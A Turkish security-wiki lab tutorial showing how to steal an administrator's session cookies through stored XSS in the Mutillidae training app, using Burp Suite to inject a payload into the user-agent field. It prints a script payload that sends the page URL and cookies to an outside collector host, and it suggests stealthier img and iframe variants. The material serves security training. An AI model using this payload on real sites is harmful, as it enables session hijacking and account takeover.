XSS Kullanarak Cookie Bilgilerinin Elde Edilmesi

BGA Security Wiki sitesinden
Şuraya atla: kullan, ara

Amaç:

XSS zafiyetini istismar ederek kullanıcıların cookie bilgilerini elde etmek.

Araç:

  • Burp Suite

Lab senaryosu:

Mutillidae kurulu web sunucusu.

Adımlar:

1. Adım:

Hedef uygulamada XSS istismarı tespit edilir. Örnekte Mutillidae’nın persistent XSS bölümünde “show-log” sayfası kullanılmıştır. Hedef uygulama, sayfayı ziyaret eden kullanıcılara ait erişim loglarını listelemektedir. Buradaki “user-agent” alanına, XSS payloadını yerleştirerek, loglara bakan adminin oturum bilgileri ele geçirilmeye çalışılmıştır. Öncelikle bilgileri kaydedecek sistem hazırlanır. Bu iş için basit bir PHP betiği(dil önemli değil) yazılır(get.php).

2. Adım:

Tarayıcı Burp Suite’e yönlendirildikten sonra Mutillidae uygulamasının herhangi bir sayfası açılır.

Burp Suite ile yakalanan isteğin user-agent bölümüne aşağıdaki payload yerleştirilip istek gönderilir.

<script>document.location="http://kayıtsistemi.com/get.php?c="+encodeURIComponent(top.window.location+":"+document.cookie);</script>

Xss.png


Yönetici, log sayfasını kontrol ettiğinde payload çalışır, URL ve cookie bilgilerini alıp, karakter kaybı olmaması için encode edip, URL ve cookie bölümlerini ayırmak için: koyup, kayıt sistemindeki betiğe, bu bilgileri GET metodu ile yollar. URL’in de cookie ile beraber alınmasının sebebi, bazı uygulamalarda, oturum bilgilerinin bir bölümü URL ile taşınabilmektedir. Bu gibi durumlarda, hedef kullanıcının cookie bilgilerini kullanmanın yanısıra, aynı URL’ide kullanmak gerekir. Bu yüzden, örnek uygulamada böyle bir durum söz konusu olmasa bile, bahsedilen durumu da karşılayan bir payload hazırlanmıştır.

3. Adım:

“get.php” isimli betiğin bulunduğu dizindeki sessions.txt dosyasının içeriğine bakılarak, kurbanın URL ve cookie bilgileri listelenir.

Xss2.png


Daha az dikkat çekmesi açısından, gerçek testlerde, “document.location” ile sayfayı yönlendirmek yerine, kurbanın dikkatinden daha kolay kaçabilecek “<img src= payload />” veya “<iframe src=payload width=0 height=0 />” gibi farklı payloadlar kullanılabilir.